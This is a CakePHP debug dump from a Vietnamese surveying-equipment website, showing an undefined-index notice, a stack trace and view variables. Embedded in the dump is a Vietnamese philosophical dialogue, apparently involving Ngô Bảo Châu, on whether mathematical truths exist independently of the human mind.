'Co so TP.HCM', 'phone' => '3252 436 432', 'yahoo' => 'duycuong7640', 'skype' => 'tuvantubep', 'pos' => '0', 'created' => '2014-01-15', 'modified' => '2015-05-05', 'status' => '1', 'yahoo1' => 'duycuong7640', 'skype1' => '', 'hotline' => '0987 654 999', 'email' => '', 'name1' => '' ) ) ) $content_for_layout = '<div class="bg-cat-danhmuc"> <div class="cat-title-danhmuc"> <a href="" title=""> <h1></h1> </a> </div> </div> <div class="box-content-detail"> <div class="clear-content"></div><div class="clear-content"></div> <div class="col-product"> <div class="box-new-content"> <div class="box-new-detail"> <div class="time-date"> 12:00:00 <span>16/06/2016</span> </div><!--end time-date--><div class="clear-content"></div> <div class="box-like-share"> <div class="like1"> <div class="fb-like" data-href="http://www.quangtayqht.vn/su-that-toan-hoc-theo-so-tay-thich-hoc-toan.htm" data-layout="standard" data-action="like" data-show-faces="true" data-share="true"></div> </div> </div><!--end box-like-share--><div class="clear-content"></div> <div class="ct-tt"> <div class="clear-main"></div> </div><!--end ct-tt--> <!--<div class="fb-comments" data-href="http://www.quangtayqht.vn/su-that-toan-hoc-theo-so-tay-thich-hoc-toan.htm" data-width="715" data-numposts="5" data-colorscheme="light"></div>--> <div class="clear-content"></div><div class="clear-content"></div> </div><!--end box-new-detail--> <div class="bar-new-detail"> <label>Private same category</label> <div class="clear-main"></div> <ul> <li> <a href="http://www.quangtayqht.vn/cach-kiem-tra-va-hieu-chinh-may-kinh-vi-dien-tu.htm" title=""> <h3> <span>(11-09-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/mot-so-ung-dung-cua-may-kinh-vi-trong-trac-dia.htm" title=""> <h3> <span>(11-09-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/nhung-cach-dinh-vi-duong-di-cho-dan-phuot.htm" title=""> <h3> <span>(22-08-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/thuoc-day-yamayo.htm" title=""> <h3> <span>(22-08-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/nhung-loi-thuong-gap-khi-su-dung-may-toan-dac-dien-tu.htm" title=""> <h3> <span>(25-07-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/ban-da-chon-trac-dia-thanh-dat-la-don-vi-cung-cap-may-moc-do-dac-cho-du-an-cua-minh-chua.htm" title=""> <h3> <span>(24-07-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/phan-mem-ung-dung-may-toan-dac-dien-tu-ban-nen-biet.htm" title=""> <h3> <span>(13-06-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/pin-may-toan-dac-dien-tu-topcon.htm" title=""> <h3> <span>(08-05-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/huong-dan-co-ban-su-dung-may-bo-dam.htm" title=""> <h3> <span>(08-05-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/huong-dan-sac-pin-may-bo-dam-dung-ky-thuat.htm" title=""> <h3> <span>(08-05-2017)</span></h3> </a> </li> </ul> <div class="clear-main"></div> </div><!--end bar-new-detail--> <div class="clear-main"></div> <div class="pagination"> <span><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:1" rel="first">« First</a></span><span class="prev"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:4" rel="prev">« Previous</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:1">1</a></span>...<span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:2">2</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:3">3</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:4">4</a></span><span class="current number">5</span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:6">6</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:7">7</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:8">8</a></span>...<span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:46">46</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:47">47</a></span><span class="next"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:6" rel="next">Next »</a></span><span><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:47" rel="last">End »</a></span>Page 5/47. View 10/461. </div> <div class="clear-main"></div> </div><!--end box-ctbar--> </div> </div>' $scripts_for_layout = '' $cap1 = array( 'Catproduct' => array( 'id' => '1', 'name' => 'Trang chủ', 'slug' => 'trang-chu' ) ) $dm_c2 = array()include - APP/View/Elements/menu.ctp, line 23 View::_evaluate() - CORE/Cake/View/View.php, line 920 View::_render() - CORE/Cake/View/View.php, line 883 View::element() - CORE/Cake/View/View.php, line 424 include - APP/View/Layouts/home.ctp, line 107 View::_evaluate() - CORE/Cake/View/View.php, line 920 View::_render() - CORE/Cake/View/View.php, line 883 View::renderLayout() - CORE/Cake/View/View.php, line 539 View::render() - CORE/Cake/View/View.php, line 483 Controller::render() - CORE/Cake/Controller/Controller.php, line 957 ProductController::chitiet() - APP/Controller/ProductController.php, line 135 ReflectionMethod::invokeArgs() - [internal], line ?? Controller::invokeAction() - CORE/Cake/Controller/Controller.php, line 485 Dispatcher::_invoke() - CORE/Cake/Routing/Dispatcher.php, line 186 Dispatcher::dispatch() - CORE/Cake/Routing/Dispatcher.php, line 161 [main] - APP/webroot/index.php, line 92
Notice (8): Undefined index: name_eng [APP/View/Elements/menu.ctp, line 22]
Code Context
">
<div class="accordion-group"><div class="accordion-heading"><a class="accordion-toggle" <?php if(!empty($dm_c2)){?>data-toggle="collapse" data-parent="#accordion2" href="#collapse<?php echo $cap1['Catproduct']['id'];?>" title="<?php echo $cap1['Catproduct']['name'.LANGUAGE];?>"<?php }else{?>href="<?php echo DOMAIN.$cap1['Catproduct']['slug'];?>"<?php }?>>
$viewFile = '/home/quangtayqh/domains/quangtayqht.vn/public_html/app/View/Elements/menu.ctp'
$dataForView = array(
'cat12' => array(
'Catproduct' => array(
'id' => '40',
'name' => 'Tin Tức',
'parent_id' => null,
'alias' => 'tin-tuc',
'images' => '',
'lft' => '119',
'rght' => '120',
'pos' => '5',
'status' => '1',
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2015-12-16',
'modified' => '2019-07-06',
'slug' => 'tin-tuc',
'cate' => '4',
'link' => 'tin-tuc',
'name_eng' => '',
'name_tq' => '',
'type' => 'new',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
'title_for_layout' => 'Sự thật toán học (Theo Sổ tay Thích Học Toán)',
'tinmoiup' => array(
(int) 0 => array(
'Post' => array(
[maximum depth reached]
),
'Catproduct' => array(
[maximum depth reached]
)
),
(int) 1 => array(
'Post' => array(
[maximum depth reached]
),
'Catproduct' => array(
[maximum depth reached]
)
),
(int) 2 => array(
'Post' => array(
[maximum depth reached]
),
'Catproduct' => array(
[maximum depth reached]
)
),
(int) 3 => array(
'Post' => array(
[maximum depth reached]
),
'Catproduct' => array(
[maximum depth reached]
)
),
(int) 4 => array(
'Post' => array(
[maximum depth reached]
),
'Catproduct' => array(
[maximum depth reached]
)
),
(int) 5 => array(
'Post' => array(
[maximum depth reached]
),
'Catproduct' => array(
[maximum depth reached]
)
),
(int) 6 => array(
'Post' => array(
[maximum depth reached]
),
'Catproduct' => array(
[maximum depth reached]
)
),
(int) 7 => array(
'Post' => array(
[maximum depth reached]
),
'Catproduct' => array(
[maximum depth reached]
)
),
(int) 8 => array(
'Post' => array(
[maximum depth reached]
),
'Catproduct' => array(
[maximum depth reached]
)
),
(int) 9 => array(
'Post' => array(
[maximum depth reached]
),
'Catproduct' => array(
[maximum depth reached]
)
)
),
'tinlq' => array(
(int) 0 => array(
'Post' => array(
[maximum depth reached]
),
'Catproduct' => array(
[maximum depth reached]
)
),
(int) 1 => array(
'Post' => array(
[maximum depth reached]
),
'Catproduct' => array(
[maximum depth reached]
)
),
(int) 2 => array(
'Post' => array(
[maximum depth reached]
),
'Catproduct' => array(
[maximum depth reached]
)
),
(int) 3 => array(
'Post' => array(
[maximum depth reached]
),
'Catproduct' => array(
[maximum depth reached]
)
),
(int) 4 => array(
'Post' => array(
[maximum depth reached]
),
'Catproduct' => array(
[maximum depth reached]
)
),
(int) 5 => array(
'Post' => array(
[maximum depth reached]
),
'Catproduct' => array(
[maximum depth reached]
)
),
(int) 6 => array(
'Post' => array(
[maximum depth reached]
),
'Catproduct' => array(
[maximum depth reached]
)
),
(int) 7 => array(
'Post' => array(
[maximum depth reached]
),
'Catproduct' => array(
[maximum depth reached]
)
),
(int) 8 => array(
'Post' => array(
[maximum depth reached]
),
'Catproduct' => array(
[maximum depth reached]
)
),
(int) 9 => array(
'Post' => array(
[maximum depth reached]
),
'Catproduct' => array(
[maximum depth reached]
)
)
),
'detailNews' => array(
'Post' => array(
'id' => '410',
'name' => 'Sự thật toán học (Theo Sổ tay Thích Học Toán)',
'code' => null,
'alias' => 'su-that-toan-hoc-theo-so-tay-thich-hoc-toan',
'cat_id' => '40',
'price' => '0',
'type' => 'new',
'shortdes' => '',
'content' => '<div>
Có một kết luận không dễ bắt bẻ là: những sự thật toán học là có thật và tồn tại độc lập với đầu óc con người, trong một thế giới riêng của nó. Chúng có đời sống và những mối liên hệ tự thân mà con người không thể thay đổi được.</div>
<div>
<br />
<strong>Từ một cuộc gặp</strong><br />
<br />
<img alt="" src="/admin/webroot/upload/image/images/ImageHandlerLarge (2).jpg" style="width: 250px; height: 188px;" /></div>
<div>
</div>
<div>
Câu chuyện này bắt đầu từ một buổi gặp mặt và tán gẫu giữa hai người bạn, tuy ở xa nhưng lại gặp nhau trong một quán café ở Hà Nội, về một trong những chủ đề muôn thuở của con người: Triết học. Đó là Hoàng Hồng Minh (Minh) – ở Paris, Pháp và Giáp Văn Dương (Dương)– khi đó mới ở Liverpool, Anh – về chơi. Đến giờ, không ai nhớ được chi tiết cả hai đã nói những gì trong buổi gặp đó. Nhưng có một thứ chắc chắn là anh Minh nói về khái niệm “tha hóa” và cho rằng, việc hiểu “tha hóa” như cách hiểu hiện giờ là không chính xác, còn Dương thì nói về các “dạng thức ” (forms) của Plato trong liên hệ với khái niệm tha hóa mà anh Minh đề cập. Kết thúc buổi trò chuyện, Dương cho rằng, nếu có một nhà toán học nữa tham gia thảo luận thì thật thú vị, vì các hệ thức toán học, có thể coi như một “dạng thức” của Plato.</div>
<div>
</div>
<div>
Năm tháng sau, câu chuyện trở lại, với sự tham gia của một nhà toán học, đó là Ngô Bảo Châu (Châu), lúc này đang ở Chicago, Mỹ. Tuy là tán gẫu qua mạng, lại từ ba nước khác nhau và lệch múi giờ nhau hoàn toàn, nhưng vẫn không kém phần thú vị so với những cuộc tán gẫu thực ở ngoài đời, bên ấm trà hay tách café nóng.</div>
<div>
</div>
<div>
Chủ đề của cuộc tán gẫu là Sự thật toán học. Cách xưng hô được giữ nguyên như nó vốn có trong giao tiếp hằng ngày, lấy sự thân quen và tuổi tác làm cơ sở.</div>
<div>
</div>
<div>
<strong>Dẫn chuyện</strong></div>
<div>
</div>
<div>
Galileo – cha đẻ của khoa học hiện đại – cho rằng “Tự nhiên là cuốn sách được viết bởi ngôn ngữ Toán học”. Tất cả những định luật của khoa học tự nhiên đều được phát biểu dưới dạng những biểu diễn toán học như các phương trình, các bất đẳng thức.</div>
<div>
</div>
<div>
Tính đúng đắn của các phương trình, rộng hơn là các quan hệ toán học, trong điều kiện biên xác định, được thừa nhận là bất biến. Vì thế, chúng được gọi là những sự thật toán học. Điều này đôi khi dẫn đến ngộ nhận: chân lý khoa học là bất biến vì các sự thật toán học là bất biến.</div>
<div>
</div>
<div>
Chính tính bất biến của các sự thật toán học là nền tảng vững chắc cho việc xây dựng tòa lâu đài tri thức của con người về giới tự nhiên. Nếu tính bất biến của các sự thật toán học không còn nữa, thì tòa lâu đài tri thức này không có cách nào đứng vững được.</div>
<div>
</div>
<div>
Vì thế, tìm hiểu về bản chất của sự thật toán học chính là tìm hiểu bản chất tri thức của con người.</div>
<div>
</div>
<div>
Sự thật toán học chỉ có được khi xuất phát từ những sự thật toán học đã biết hoặc những tiên đề được cho rằng hiển nhiên đúng, thông qua một quá trình suy luận logic chặt chẽ.</div>
<div>
Sự tiến bộ của Toán học, vì thế trong một chừng mực nào đó có thể nói là chậm hơn so với những tiến bộ mang tính cách mạng của những ngành khoa học khác như Vật lý, Sinh học, Tin học… Nhưng đổi lại, những tri thức mà nó thu được có tính bền vững đến độ vĩnh cửu. Không ai có thể nghi ngờ rằng Định lý Pythagoras lại không đúng trong một triệu năm sau nữa. Còn những lý thuyết của các ngành khoa học khác rất dễ bị thay thế bởi những lý thuyết khác đúng đắn hơn sau đó, có thể trong khoảng thời gian của một đời người hoặc thậm chí chỉ trong vài năm.</div>
<div>
</div>
<div>
Đó cũng là một phần của lý do vì sao các nhà toán học thường kiên trì giải những bài toán có khi ra đời từ hàng trăm năm về trước. Khi làm những việc đó, họ biết rằng đó là những vấn đề vĩnh cửu và tri thức họ thu được cũng sẽ là vĩnh cửu.</div>
<div>
</div>
<div>
Chính tính vĩnh cửu của những sự thật toán học đã làm cho công việc của các nhà toán học đặc thù hơn so với công việc của các nhà khoa học khác. Họ phải tuân thủ một qui trình suy luận logic nghiêm ngặt, thay vì thiết kế thí nghiệm, quan sát, đo đạc và so sánh kết quả với tính toán như các nhà khoa học khác thường làm.</div>
<div>
</div>
<div>
Chỉ những kết quả thu được từ quá trình suy luận logic nghiêm ngặt này mới được coi là sự thật toán học và đúng mãi với thời gian: từ lúc người ta tìm ra chúng và mãi sau này.</div>
<div>
</div>
<div>
Nhưng trước khi người ta tìm ra những sự thật toán học này thì sao? Chẳng hạn, trước khi có con người thì định lý Pythagoras có tồn tại không?</div>
<div>
</div>
<div>
Dù không có số liệu thông kê chính thức, nhưng rất nhiều nhà toán học tin một phần hoặc toàn bộ vào sự tồn tại của thế giới những sự thật toán học. Để minh họa điều này, hãy xem xét hai ví dụ: Định lý Fermat lớn và Tập hợp Mandelbrot.</div>
<div>
</div>
<div>
Định lý Fermat lớn được Fermat (1601-1665) ghi trên lề của một cuốn sách Arithmetica gần 400 năm về trước, đại ý: phương trình xn+yn=zn không có nghiệm nguyên khác không với n>2. Ở bên lề của cuốn sách, ông có ghi thêm rằng: tôi đã tìm ra cách chứng minh rất tuyệt. Nhưng vì lề sách quá hẹp nên không thể viết ra đây! Nhưng phải mất 358 năm, và làm đau đầu biết bao thế hệ toán học tài năng, định lý này mới được chứng minh bởi Wiles, nhà toán học Anh, năm 1994.</div>
<div>
</div>
<div>
Vậy trước khi Wiles chứng minh được định lý này, thì nó có đúng không? Thậm chí giả sử Fermat không viết ra lề sách định lý đó, hoặc bản thân Fermat không được sinh ra ở trên đời, thì định lý đó có tồn tại không?</div>
<div>
</div>
<div>
Tập hợp Mandelbrot cũng là một minh chứng rõ ràng cho sự tồn tại độc lập của những sự thật toán học. Được phát hiện bởi Mandelbrot năm 1980 nhưng ban đầu bản thân Mandelbrot cũng không ý thức được hết sự phức tạp của nó. Vậy thì, sự tồn tại của nó có phải là độc lập, khách quan với đầu óc con người?</div>
<div>
</div>
<div>
Hai ví dụ này, và vô số những ví dụ khác, dẫn đến một kết luận không dễ bắt bẻ là: những sự thật toán học là có thật và tồn tại độc lập với đầu óc con người, trong một thế giới riêng của nó. Chúng có đời sống và những mối liên hệ tự thân mà con người không thể thay đổi được.</div>
<div>
</div>
<div>
Nhưng những kí hiệu toán học chỉ được phát minh trong khoảng vài trăm năm trở lại đây, ví dụ dấu bằng (=) không tồn tại trước thế kỉ 16. Vậy là những phương trình toán học như ta vẫn thấy không thể tồn tại trước thế kỉ 16, do đó, sự tồn tại khách quan của thế giới những sự thật toán học như nhiều nhà toán học nhận định là không có thật. Đó cũng là một lập luận không dễ bắt bẻ.</div>
<div>
</div>
<div>
<strong>Tán gẫu qua mạng</strong></div>
<div>
</div>
<div>
Dương - Như vậy, sự thật toán học liệu có tồn tại độc lập với đầu óc con người?</div>
<div>
</div>
<div>
Châu – Câu hỏi mà Dương đặt ra là một câu hỏi dằn vặt nhiều nhà toán học. Làm toán là một quá trình khám phá (discovery) hay là một quá trình sáng tạo (invention)? Phần đông các nhà toán học nghiêng về câu trả lời thứ nhất: làm toán là một quá trình khám phá. Con người không sáng tạo ra sự thật toán học, mà chỉ khám phá ra nó thôi. Tức là cái sự thật đó đã tồn tại ở đâu đó rồi, chỉ đợi con người đến khám phá.</div>
<div>
</div>
<div>
Lập luận của phe “khám phá” là dựa vào sự “đồng thuận” cao trong toán học. Một định lý đã được chứng minh thì không thể phủ nhận được nữa. Vì toán học không phụ thuộc vào một cá nhân cụ thể của một nhà toán học nào, nên có nhiều khả năng, nó có sự tồn tại độc lập.</div>
<div>
Phe “sáng tạo” thì cho rằng toán học cũng chỉ là sản phẩm của bộ não người mà thôi.</div>
<div>
</div>
<div>
Phe “ba phải”, trong đó có mình, thì cho rằng (định nghĩa) toán học là công cụ (ngôn ngữ) để bộ não người nắm bắt thế giới bên ngoài một cách có hệ thống. Suy từ định nghĩa ra thì nó không thể tồn tại nếu không tồn tại bộ não người (mệnh đề này là rỗng vì giả thiết sai), nhưng nó lại phải chịu thuộc tính của cái nằm ngoài bộ não người.</div>
<div>
</div>
<div>
Nói thế cũng có lý, nhưng người nghe vẫn chưa thấy thích.</div>
<div>
</div>
<div>
Thực ra đây vấn chỉ là cách xê dịch vấn đề, và phủ thêm một lớp lý luận. Nhưng nó dẫn dắt ta đến một câu hỏi thực sự thú vị, theo mình thì thú vị hơn câu hỏi “khám phá” hay “sáng tạo”: đó là tại sao toán học lại phát triển phần lớn bởi cái logic nội tai của nó, tại sao nó lại tỏ ra hữu hiệu đến thế trong việc mô tả thiên nhiên. Vậy thì cái logic là cái con người lựa chọn hay là cái bị thiên nhiên áp đặt ?</div>
<div>
</div>
<div>
Minh - Đây là câu chuyện rất thú vị trong Triết học, câu chuyện “tri thức khách quan”. Thiền án đặt ra là con nhện cứ tưởng mình dệt lưới theo ý mình thích, hóa ra lại theo “tri thức khách quan”. Con người tưởng nói năng lung tung được, hóa ra lại theo “ngữ pháp”, thực chất là một trong các dạng biểu đạt của cấu trúc logic khách quan?</div>
<div>
</div>
<div>
Dương – Em cũng nghiêng về cách nhìn “ba phải”, nên mới có câu hỏi là trước khi các kí hiệu toán học (ngôn ngữ toán học) ra đời thì sao. Có lẽ các sự thật toán học chỉ là các mô hình của thực tại. Nhưng cách thức tồn tại và phát triển của toán học làm người ta nghi ngại nhận định này.</div>
<div>
</div>
<div>
Về sự phát triển theo logic nội tại của Toán học, liệu có sự tương đồng với một quá trình tự diễn biến nào trong giới tự nhiên không? Nếu có thì có thể dùng một mô hình Vật lý nào đó để khảo sát? Còn nữa, liệu bản chất của việc tìm kiếm các sự thật toán học có thể giải thích theo kiểu “phép đo” trong cơ học lượng tử?</div>
<div>
</div>
<div>
Trong Cơ học lượng tử, trạng thái của một hệ vi mô được mô tả bởi hàm sóng là chồng chập của tất các các trạng thái khả dĩ. Khi phép đo được tiến hành, hệ co về một trạng thái duy nhất ứng với kết quả của phép đo. Điều này liệu có điểm gì tương đồng với các sự thật toán học trong giả thiết sau: trước khi được khám phá ra thì thế giới các sự thật toán học ở trạng thái chồng chập đúng-sai, bất định-xác định… cho đến khi được một nhà toán học tiến hành “đo đạc” bằng cách tiến hành những thao tác suy luận logic để chứng minh hoặc phủ nhận một giả thiết toán học nào đó. Trạng thái của sự thật toán học khi đó sẽ co sập lại về tương ứng với kết quả của chứng minh giống như trạng thái của hệ vi mô co sập lại về tương ứng với phép đo trong cơ học lượng tử? Nói cách khác: chính tư duy của nhà toán học đã tạo ra sự thật toán học, giống như phép đo trong cơ học lượng tử đã tạo ra tính chất của hệ vi mô dưới dạng mô tả được?</div>
<div>
</div>
<div>
Như thế, một sự thật toán học được tìm ra cũng giống như kết quả của phép đo: vừa mang tính chủ quan, vừa mang tính khách quan, biểu hiện ở chỗ: sự thật toán học là sản phẩm của quá trình tư duy của nhà toán học, nhưng lại nghiệm đúng một cách khách quan và vĩnh viễn sau khi đã được tìm ra? Câu hỏi còn lại là liệu sự thật toán học có mang tính xác suất – bất định như trong cơ học lượng tử?</div>
<div>
</div>
<div>
Và hơn nữa, là vì sao bằng tư duy – “phép đo” của mình – con người lại có thể tìm ra những sự thật toán học này?</div>
<div>
</div>
<div>
Em có linh cảm là việc tìm kiếm các sự thật toán học và phép đo trong cơ học lượng tử rất gần nhau. Nhưng chỉ là linh cảm thôi, chưa có bằng chứng gì cả.</div>
<div>
</div>
<div>
Còn về câu chuyện “tri thức khách quan”, thì đó không chỉ là tri thức có khách quan, mà còn là bản chất của tri thức, nguồn gốc và mối liên hệ của nó với thực tại. Tất nhiên điều này cũng sẽ dẫn đến câu hỏi thực tại là gì và mối liên hệ của nó với tri thức như thế nào, làm sao mà con người lại có thể nhận thức được chúng, nhận thức đó liệu có khách quan hay hoàn toàn chủ quan hay là hỗn hợp của hai thứ đó.</div>
<div>
</div>
<div>
Rõ ràng cuộc đối thoại này đã bước ra khỏi phạm vi của các sự thật toán học và tiến tới một lĩnh vực khác: bản chất của thực tại và mối liên hệ của nó với các biểu diễn toán học. Trước khi những kí hiệu và khái niệm toán học được phát minh ra thì các hệ thức toán học như chúng ta thấy bây giờ không tồn tại, nhưng các mối liên hệ của tự nhiên, như trái đất quay xung quanh mặt trời một vòng hết 365 ngày, vẫn tồn tại dù không được biểu diễn bởi các phương trình. Vấn đề đặt ra – hóc búa– là mối quan hệ của thực tại với các mô hình toán học thực sự là gì?</div>
<div>
</div>
<div>
Trong trường hợp này, sự thật toán học được chọn như một ví dụ của tri thức. Ngôn ngữ cũng là một ví dụ tốt để xem xét.</div>
<div>
</div>
<div>
Minh - Anh nhìn nhận Logos là cái tính năng tràn khắp vũ trụ, cho nên ta và con mèo hiểu nhau rất dễ, và cái trái cây khi chưa sẵn sàng để phát tán hạt thì vẫn giữ màu lá cây để tự vệ và khuyên nhủ các loài “hãy kệ tôi đã”.</div>
<div>
</div>
<div>
Riêng xem trong thế giới thực vật và sinh vật muôn loài, ta đã thấy muôn vàn các quá trình trao đổi thông tin, anh từng đặt chữ là “giao tin”, thực hiện được, vậy là dựa vào đâu? Vào tính logos phổ quát.</div>
<div>
</div>
<div>
“Sự thật toán học” được Dương nói đến ở trên đây như những kết quả được xây dựng từ những tiên đề toán học “qua một quá trình suy luận logic chặt chẽ”. Như thế chính ở đây ta thừa nhận hệ thống các thuộc tính-quan hệ logic như một hệ thống công cụ có tính tiền đề. </div>
<div>
</div>
<div>
“Sự thật logic” như vậy còn tồn tại “trước” cả “sự thật toán học”. “Trước” không phải về không gian, thời gian vật lý, mà về mặt.. logic!</div>
<div>
</div>
<div>
Chuyện vui, nếu nhà toán học lạc vào trong rừng mà gặp phải con hổ, con hổ sẽ hiểu nhà toán học hơn cả nhà toán học hiểu chính mình trong địa hạt này… Con hổ sẽ lừa cho nhà toán học toát mồ hôi, toát ngu muội, và nhà toán học chỉ còn biết trông chờ vào may mắn! Tại sao? Vì cả hai cùng với giới tự nhiên đều cùng chia sẻ cái logos phổ quát về không gian, thời gian, về nhân quả, về luận lý, và cả về tâm lý! Và con hổ thì hiểu logos của thánh địa của nó hơn nhà toán học, hiểu cả rằng nó nhanh nhẹn, mạnh mẽ, và khôn ngoan trong săn bắt hơn chính nhà toán học!</div>
<div>
</div>
<div>
Ý niệm về “Đạo” của Lão, Trang có gần gũi với Logos. Nhưng yếu kém của “Đạo” là chưa ý thức được cái năng lực siêu phàm trong cái thần của Logos, là dạng thức (forms) – ở ta hay dịch là “hình thức”, cái chữ dễ bị hiểu nhầm nôm na thành như “bề ngoài”. Nhờ hiểu biết về tầm quan trọng vô cùng của dạng thức mà các hiểu biết về logic và toán học phát triển được lên.</div>
<div>
</div>
<div>
Nghiên cứu về logic, theo mình thì không có cái gọi là môn “logic nội dung” chọi với “logic hình thức”! Đó chỉ là sự diễn nôm hời hợt. Chỉ có một môn logic, và đó chính là logic dạng thức. Các bộ môn nghiên cứu ứng dụng logic không phải là “logic khác”, mà là các nghiên cứu ứng dụng logic mở ra trong các miền tri thức, các ứng dụng này không phải là các lựa chọn khả thay thế. Ví dụ như “modal logic” là môn nghiên cứu ứng dụng về tình thái ngữ nghĩa trong ngôn ngữ…</div>
<div>
</div>
<div>
Phát hiện về dạng thức là nền tảng cho sự phát triển có tính xây dựng được của nền văn minh tinh thần! Khi bạn đang đọc bài trao đổi này, bạn không “đọc” một cuộc thảo luận nguyên trạng, mà đọc cái đã dạng thức hóa của nó qua các “nguyên tử” ký tự (chữ cái, gồm cả các dấu nghỉ, cảm thán, khoảng trắng, cùng “dấu xuống dòng”, dấu chuyển hồi đoạn, dấu chấm hết … gọi chúng là “nguyên tử” vì các nhân tố này là nhỏ nhất trong hệ thống, không còn chẻ ra tiếp được nữa) đã được cấu trúc hóa theo các qui tắc ngữ pháp. Nói theo logic, các ký tự hợp thành hệ thống các ký hiệu, và việc áp dụng hệ các qui tắc nối kết vào các ký hiệu làm nên các công thức (từ, liên từ, đoạn, câu…), chúng được cắt nghĩa và vận động trong một hệ thống luận suy. Xa xôi hơn, bạn đang đọc được một dãy mã hóa “sắc không”, “âm dương”, “0 và 1”, được đại diện bởi các xung điện. Và cuối cùng, chính bạn phải làm cả một cuộc cắt nghĩa toàn bộ dãy mã này trong văn hóa khoa học tiếng Việt để “cảm hiểu” bài trao đổi.</div>
<div>
</div>
<div>
Cũng cần nói rõ là cái ý niệm “sắc không”, “âm dương” trong triết học cổ phương Đông chỉ là một khởi điểm của ý tưởng về các đối cực, chứ không hề liên quan gì đến việc phát triển của khoa máy tính sau này. Vì để có ý tưởng mã hóa tất thảy các hiện tượng chỉ từ hai trạng thái để lợi dụng được các xung điện, phải hiểu ra và phát triển được cái logos “dạng thức”, phát triển logic, toán học để xây dựng nên được ngôn ngữ dạng thức và hệ thống các thuật toán, để rồi có thể công nghệ hóa, tự động hóa chúng. Dãy các trạng thái “0 và 1” còn phải chứa hệ thống các cấu trúc để cho phép gắn kết chúng như thế nào trong quá trình vào mã và giải mã các thông tin. Các nhà Đông học tuyệt đối không có gì để vơ quàng sĩ diện ở đây.</div>
<div>
Cái tiếp theo của câu chuyện nói ở trên là cái nhìn triết học về “khách quan- chủ quan”, “vật chất- tinh thần”.</div>
<div>
</div>
<div>
Ở ta lâu nay người ta nhìn vấn đề này không theo tầng tinh thần triết học, mà theo cảm hứng dân dã, “lập trường”. Nên nhìn nhận rất chân thành rằng ở ta không có căn bản truyền thống về tinh thần văn hóa triết học – logic.</div>
<div>
</div>
<div>
Câu chuyện vật chất – tinh thần, cái nào “có trước”, cần nói rõ là “có trước về mặt triết học-logic”, là vấn đề lựa chọn.</div>
<div>
</div>
<div>
Ví dụ khi bạn chấp nhận “vật chất có trước tinh thần”, bạn dùng cái gì để “xác nhận” nó ? Bạn dùng chính tinh thần bạn!</div>
<div>
</div>
<div>
Nếu bạn không dùng tinh thần của bạn để công nhận “vật chất có trước tinh thần”, thì bạn quả là siêu nhiên! Bạn lại dùng “tinh thần vũ trụ” chăng?</div>
<div>
</div>
<div>
Như vậy sự công nhận về sự tồn tại của thế giới bên ngoài, “có trước”, độc lập với tinh thần con người, là vấn đề phương pháp, vấn đề lựa chọn tiên đề, chứ không có và không thể có vấn đề “đúng sai” theo nghĩa triết học ở đây.</div>
<div>
</div>
<div>
Cái rắc rối tiếp theo là liệu có một cái “logos phổ quát bên ngoài tinh thần con người” hay không?</div>
<div>
</div>
<div>
Cái này cũng thuộc về tiên đề triết học nốt. Phải lựa chọn.</div>
<div>
</div>
<div>
Và nếu bạn muốn hiểu “sự thật logic”, “sự thật toán học” như một “tri thức khách quan” thì đó cũng là một lựa chọn.</div>
<div>
</div>
<div>
Tri thức tiến lên nhiều khi không phải chỉ do “lập luận thông minh đơn thuần”. Lập luận không làm tiến hóa hệ thống. Lập luận chỉ củng cố hoặc mở rộng hệ thống, nếu hệ thống tỏ ra vẫn chuẩn xác (chưa bị rơi vào tự mâu thuẫn), hoặc ngược lại làm nó lụi tàn, nếu hệ thống không chịu nổi các thử thách về logic. Tri thức tiến lên còn do sự quyết đoán lựa chọn, tiêu biểu là việc lựa chọn các tiên đề. Người biết lựa chọn các tiên đề tất nhiên không phải người tầm thường. Sự lựa chọn là một cách mở rộng hoặc đổi thay hệ thống với những rủi ro và đột biến tiến hóa.</div>
<div>
</div>
<div>
Einstein đã lựa chọn tiên đề tốc độ ánh sáng là tốc độ cực đại trong vũ trụ chẳng hạn, điều vượt quá đa phần các bộ óc con người (trong đó tất nhiên có mình ! ;-) ).</div>
<div>
</div>
<div>
Sự lựa chọn việc tồn tại “logos khách quan” cũng có những cơ sở của nó. Giản đơn nếu như nhà toán học mà quên cho con mèo ăn, thì con mèo sẽ biết làm cho nhà toán học phải hiểu ra bằng được điều đó và cho nó ăn mà thôi.</div>
<div>
</div>
<div>
